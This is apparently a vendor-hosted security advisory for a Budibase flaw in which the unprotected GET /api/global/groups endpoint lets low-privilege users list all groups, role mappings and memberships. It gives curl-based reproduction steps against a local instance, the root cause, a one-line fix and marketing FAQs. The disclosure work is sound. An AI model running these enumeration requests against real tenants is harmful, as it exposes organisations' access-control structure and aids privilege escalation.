Summary
Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings
The GET /api/global/groups endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag.
Steps to Reproduce
1. Start Budibase
docker run -d --name budibase-poc -p 10000:80 \
-e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \
-e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \
-e API_ENCRYPTION_KEY=api_enc_key_test123456 \
-e [email protected] \
-e BB_ADMIN_USER_PASSWORD=TestPassword123! \
budibase/budibase:latest
until curl -sf http://localhost:10000/health; do sleep 5; done
2. Login as admin, create a user group, create a BASIC user
# Login as admin
curl -s -c /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/auth/default/login \
-H "Content-Type: application/json" \
-d '{"username":"[email protected]","password":"TestPassword123!"}'
# Create a user group (requires license with user groups feature, or use Budibase Cloud)
# On self-hosted without license, groups may not be available
# If available:
curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/groups \
-H "Content-Type: application/json" \
-d '{"name":"Secret Admin Group","color":"#ff0000","icon":"AdminPanelSettingsIcon","roles":{"app_abc123":"ADMIN"}}'
# Create a BASIC user (no builder, no admin)
curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/users \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"BasicPass123!","roles":{},"admin":{"global":false},"builder":{"global":false}}'
3. Login as BASIC user and enumerate all groups (the vulnerability)
# Login as BASIC user
curl -s -c /tmp/bb_basic.txt -X POST http://localhost:10000/api/global/auth/default/login \
-H "Content-Type: application/json" \
-d '{"username":"[email protected]","password":"BasicPass123!"}'
# List ALL groups (should return 403, but returns 200 with full data)
curl -s -b /tmp/bb_basic.txt http://localhost:10000/api/global/groups
Expected: 403 Forbidden (consistent with GET /api/global/groups/:id which requires builderOrAdmin)
Actual: 200 OK with full group data including role mappings, member lists, and builder flags.
Standalone verification (code review)
# In the budibase source tree:
grep -A2 'global/groups"' packages/worker/src/api/routes/global/groups.ts
Output shows the list endpoint has NO auth middleware:
.get("/api/global/groups", # <-- NO auth.builderOrAdmin
requireFeature(Feature.USER_GROUPS),
controller.fetch
Compare with the single-group endpoint directly below:
.get("/api/global/groups/:groupId", # <-- HAS auth.builderOrAdmin
auth.builderOrAdmin,
requireFeature(Feature.USER_GROUPS),
controller.getById
Root Cause
File: packages/worker/src/api/routes/global/groups.ts, lines 40-44
The list endpoint is the ONLY group endpoint without RBAC:
| Endpoint | Auth Middleware |
|---|---|
POST /api/global/groups |
auth.adminOnly |
DELETE /api/global/groups/:id/:rev |
auth.adminOnly |
GET /api/global/groups/:id |
auth.builderOrAdmin |
GET /api/global/groups/:id/users |
auth.builderOrAdmin |
GET /api/global/groups |
NONE |
Impact
A BASIC-role user can enumerate: all group names/colors/icons, which apps each group accesses and at what role level, user membership lists (user IDs), builder permission flags, and the isDefault flag. This exposes organizational access control structure and aids reconnaissance for privilege escalation.
The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.
GHSA-4QCJ-M5WP-JMF4 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
router.get("/api/global/groups",
+ auth.builderOrAdmin,
requireFeature(Feature.USER_GROUPS),
controller.fetch
)
Frequently Asked Questions
- What is GHSA-4QCJ-M5WP-JMF4? GHSA-4QCJ-M5WP-JMF4 is a medium-severity missing authorization vulnerability in @budibase/server (npm), affecting versions <= 3.38.1. No fixed version is listed yet. The application does not perform an authorization check before performing a sensitive operation.
- How severe is GHSA-4QCJ-M5WP-JMF4? GHSA-4QCJ-M5WP-JMF4 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @budibase/server are affected by GHSA-4QCJ-M5WP-JMF4? @budibase/server (npm) versions <= 3.38.1 is affected.
- Is there a fix for GHSA-4QCJ-M5WP-JMF4? No fixed version is listed for GHSA-4QCJ-M5WP-JMF4 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is GHSA-4QCJ-M5WP-JMF4 exploitable, and should I be worried? Whether GHSA-4QCJ-M5WP-JMF4 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-4QCJ-M5WP-JMF4 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-4QCJ-M5WP-JMF4? No fixed version is listed yet. In the interim: Keep the dependency up to date. Ensure authorization checks are enforced consistently on all sensitive operations.